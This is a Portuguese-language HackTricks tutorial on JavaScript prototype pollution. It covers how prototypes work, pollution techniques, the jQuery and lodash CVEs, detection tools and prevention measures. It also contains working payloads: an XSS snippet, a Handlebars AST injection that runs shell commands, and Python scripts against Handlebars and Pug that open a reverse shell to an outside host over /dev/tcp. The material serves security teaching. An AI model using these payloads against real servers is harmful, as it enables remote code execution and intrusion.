NodeJS - __proto__ & prototype Pollution

Support HackTricks

Objetos em JavaScript

Objetos em JavaScript são essencialmente coleções de pares chave-valor, conhecidos como propriedades. Um objeto pode ser criado usando Object.create com null como argumento para produzir um objeto vazio. Este método permite a criação de um objeto sem nenhuma propriedade herdada.

// Run this in the developers tools console
console.log(Object.create(null)); // This will output an empty object.

Um objeto vazio é semelhante a um dicionário vazio, representado como {}.

Funções e Classes em JavaScript

Em JavaScript, classes e funções estão intimamente ligadas, com funções frequentemente servindo como construtores para classes. Apesar da falta de suporte nativo a classes no JavaScript, construtores podem emular o comportamento de classes.

// Run this in the developers tools console

function Employee(name, position) {
this.name = name;
this.position = position;
this.introduce = function() {
return "My name is " + this.name + " and I work as a " + this.position + ".";
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer");

employee1.__proto__

Prototypes em JavaScript

JavaScript permite a modificação, adição ou exclusão de atributos de protótipo em tempo de execução. Essa flexibilidade possibilita a extensão dinâmica das funcionalidades de classes.

Funções como toString e valueOf podem ser alteradas para mudar seu comportamento, demonstrando a natureza adaptável do sistema de protótipos do JavaScript.

Herança

Na programação baseada em protótipos, propriedades/métodos são herdados por objetos de classes. Essas classes são criadas adicionando propriedades/métodos a uma instância de outra classe ou a um objeto vazio.

Deve-se notar que, quando uma propriedade é adicionada a um objeto que serve como protótipo para outros objetos (como myPersonObj), os objetos que herdam ganham acesso a essa nova propriedade. No entanto, essa propriedade não é exibida automaticamente, a menos que seja invocada explicitamente.

__proto__ pollution

Explorando a Poluição de Protótipos em JavaScript

Objetos JavaScript são definidos por pares de chave-valor e herdam do protótipo do Objeto JavaScript. Isso significa que alterar o protótipo do Objeto pode influenciar todos os objetos no ambiente.

Vamos usar um exemplo diferente para ilustrar:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");

O acesso ao protótipo do Object é possível através de:

car1.__proto__.__proto__;
Vehicle.__proto__.__proto__;

Ao adicionar propriedades ao protótipo do Object, todo objeto JavaScript herdará essas novas propriedades:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function() { console.log("Beep beep!"); };
car1.announce(); // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true;
console.log(car1.isVehicle); // Outputs true

poluição de protótipo

Para um cenário onde o uso de __proto__ é restrito, modificar o protótipo de uma função é uma alternativa:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function() { console.log("Beep beep!"); };
car1.beep(); // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true;
console.log(car1.hasWheels); // Outputs true

// Alternate method
car1.constructor.prototype.honk = function() { console.log("Honk!"); };
car1.constructor.prototype.isElectric = true;

Isso afeta apenas objetos criados a partir do construtor Vehicle, dando a eles as propriedades beep, hasWheels, honk e isElectric.

Duas maneiras de afetar globalmente objetos JavaScript através da poluição de protótipos incluem:

  1. Poluir o Object.prototype diretamente:

Object.prototype.goodbye = function() { console.log("Goodbye!"); };
  1. Poluindo o protótipo de um construtor para uma estrutura comumente usada:

var example = {"key": "value"};
example.constructor.prototype.greet = function() { console.log("Hello!"); };

Após essas operações, cada objeto JavaScript pode executar os métodos goodbye e greet.

Poluindo outros objetos

De uma classe para Object.prototype

Em um cenário onde você pode poluir um objeto específico e precisa chegar ao Object.prototype, você pode procurá-lo com algo como o seguinte código:

// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for(let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for(let key1 in document.querySelector('a')) {
for(let key2 in document.querySelector('a')[key1]) {
if (document.querySelector('a')[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

Poluição de elementos de array

Note que, assim como você pode poluir atributos de objetos em JS, se você tiver acesso para poluir um array, você também pode poluir valores do array acessíveis por índices (note que você não pode sobrescrever valores, então você precisa poluir índices que são de alguma forma utilizados, mas não escritos).

c = [1,2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Poluição de elementos Html

Ao gerar um elemento HTML via JS, é possível sobrescrever o atributo innerHTML para fazer com que ele escreva código HTML arbitrário. Ideia e exemplo deste artigo.

// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

Exemplos

Exemplo Básico

Uma poluição de protótipo ocorre devido a uma falha na aplicação que permite sobrescrever propriedades em Object.prototype. Isso significa que, uma vez que a maioria dos objetos deriva suas propriedades de Object.prototype

O exemplo mais simples é adicionar um valor a um atributo indefinido de um objeto que será verificado, como:

if (user.admin) {

Se o atributo admin está indefinido, é possível abusar de um PP e defini-lo como True com algo como:

Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

O mecanismo por trás disso envolve manipular propriedades de forma que, se um atacante tiver controle sobre certas entradas, ele pode modificar o protótipo de todos os objetos na aplicação. Essa manipulação geralmente envolve definir a propriedade __proto__, que, em JavaScript, é sinônimo de modificar diretamente o protótipo de um objeto.

As condições sob as quais esse ataque pode ser executado com sucesso, conforme descrito em um estudo específico, incluem:

  • Realizar uma mesclagem recursiva.

  • Definir propriedades com base em um caminho.

  • Clonar objetos.

Função de substituição

customer.__proto__.toString = ()=>{alert("polluted")}

Poluição de Proto para RCE

Prototype Pollution to RCE

Outros payloads:

Poluição de protótipo do lado do cliente para XSS

Client Side Prototype Pollution

CVE-2019–11358: Ataque de poluição de protótipo através do jQuery $ .extend

Para mais detalhes, consulte este artigo No jQuery, a função $ .extend pode levar à poluição de protótipo se o recurso de cópia profunda for utilizado de forma inadequada. Esta função é comumente usada para clonar objetos ou mesclar propriedades de um objeto padrão. No entanto, quando mal configurada, propriedades destinadas a um novo objeto podem ser atribuídas ao protótipo em vez disso. Por exemplo:

$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
console.log({}.devMode); // Outputs: true

Esta vulnerabilidade, identificada como CVE-2019–11358, ilustra como uma cópia profunda pode inadvertidamente modificar o protótipo, levando a potenciais riscos de segurança, como acesso não autorizado de administrador se propriedades como isAdmin forem verificadas sem a devida verificação de existência.

CVE-2018–3721, CVE-2019–10744: Ataque de poluição de protótipo através do lodash

Para mais detalhes, consulte este artigo

Lodash encontrou vulnerabilidades semelhantes de poluição de protótipo (CVE-2018–3721, CVE-2019–10744). Esses problemas foram resolvidos na versão 4.17.11.

Outro tutorial com CVEs

Ferramentas para detectar Poluição de Protótipo

  • Server-Side-Prototype-Pollution-Gadgets-Scanner: Extensão do Burp Suite projetada para detectar e analisar vulnerabilidades de poluição de protótipo do lado do servidor em aplicações web. Esta ferramenta automatiza o processo de escaneamento de requisições para identificar potenciais problemas de poluição de protótipo. Ela explora gadgets conhecidos - métodos de aproveitar a poluição de protótipo para executar ações prejudiciais - focando particularmente em bibliotecas Node.js.

  • server-side-prototype-pollution: Esta extensão identifica vulnerabilidades de poluição de protótipo do lado do servidor. Ela utiliza técnicas descritas na poluição de protótipo do lado do servidor.

Poluição de Protótipo AST no NodeJS

NodeJS utiliza extensivamente Árvores de Sintaxe Abstrata (AST) em JavaScript para funcionalidades como motores de template e TypeScript. Esta seção explora as vulnerabilidades relacionadas à poluição de protótipo em motores de template, especificamente Handlebars e Pug.

Análise de Vulnerabilidade do Handlebars

O motor de template Handlebars é suscetível a um ataque de poluição de protótipo. Esta vulnerabilidade surge de funções específicas dentro do arquivo javascript-compiler.js. A função appendContent, por exemplo, concatena pendingContent se estiver presente, enquanto a função pushSource redefine pendingContent para undefined após adicionar a fonte.

Processo de Exploração

A exploração aproveita o AST (Árvore de Sintaxe Abstrata) produzido pelo Handlebars, seguindo estas etapas:

  1. Manipulação do Parser: Inicialmente, o parser, através do nó NumberLiteral, impõe que os valores sejam numéricos. A poluição de protótipo pode contornar isso, permitindo a inserção de strings não numéricas.

  2. Tratamento pelo Compilador: O compilador pode processar um Objeto AST ou um template de string. Se input.type for igual a Program, a entrada é tratada como pré-analisada, o que pode ser explorado.

  3. Injeção de Código: Através da manipulação de Object.prototype, pode-se injetar código arbitrário na função de template, o que pode levar à execução remota de código.

Um exemplo demonstrando a exploração da vulnerabilidade do Handlebars:

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {
"start": 0,
"end": 0
}
}];

const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);

console.log(eval('(' + template + ')')['main'].toString());

Este código demonstra como um atacante poderia injetar código arbitrário em um template Handlebars.

Referência Externa: Um problema relacionado à poluição de protótipos foi encontrado na biblioteca 'flat', conforme detalhado aqui: Problema no GitHub.

Referência Externa: Problema relacionado à poluição de protótipos na biblioteca 'flat'

Exemplo de exploração de poluição de protótipos em Python:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Vulnerabilidade do Pug

Pug, outro mecanismo de template, enfrenta um risco semelhante de poluição de protótipo. Informações detalhadas estão disponíveis na discussão sobre Injeção de AST no Pug.

Exemplo de poluição de protótipo no Pug:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

Medidas Preventivas

Para reduzir o risco de poluição de protótipos, as estratégias listadas abaixo podem ser empregadas:

  1. Imutabilidade de Objetos: O Object.prototype pode ser tornado imutável aplicando Object.freeze.

  2. Validação de Entrada: As entradas JSON devem ser rigorosamente validadas em relação ao esquema da aplicação.

  3. Funções de Mesclagem Seguras: O uso inseguro de funções de mesclagem recursivas deve ser evitado.

  4. Objetos Sem Protótipo: Objetos sem propriedades de protótipo podem ser criados usando Object.create(null).

  5. Uso de Map: Em vez de Object, Map deve ser usado para armazenar pares chave-valor.

  6. Atualizações de Biblioteca: Correções de segurança podem ser incorporadas atualizando bibliotecas regularmente.

  7. Ferramentas de Linter e Análise Estática: Use ferramentas como ESLint com plugins apropriados para detectar e prevenir vulnerabilidades de poluição de protótipos.

  8. Revisões de Código: Implemente revisões de código minuciosas para identificar e remediar riscos potenciais relacionados à poluição de protótipos.

  9. Treinamento em Segurança: Eduque os desenvolvedores sobre os riscos da poluição de protótipos e as melhores práticas para escrever código seguro.

  10. Uso Cauteloso de Bibliotecas: Tenha cautela ao usar bibliotecas de terceiros. Avalie sua postura de segurança e revise seu código, especialmente aquelas que manipulam objetos.

  11. Proteção em Tempo de Execução: Empregue mecanismos de proteção em tempo de execução, como o uso de pacotes npm focados em segurança que podem detectar e prevenir ataques de poluição de protótipos.

Referências

Support HackTricks

Last updated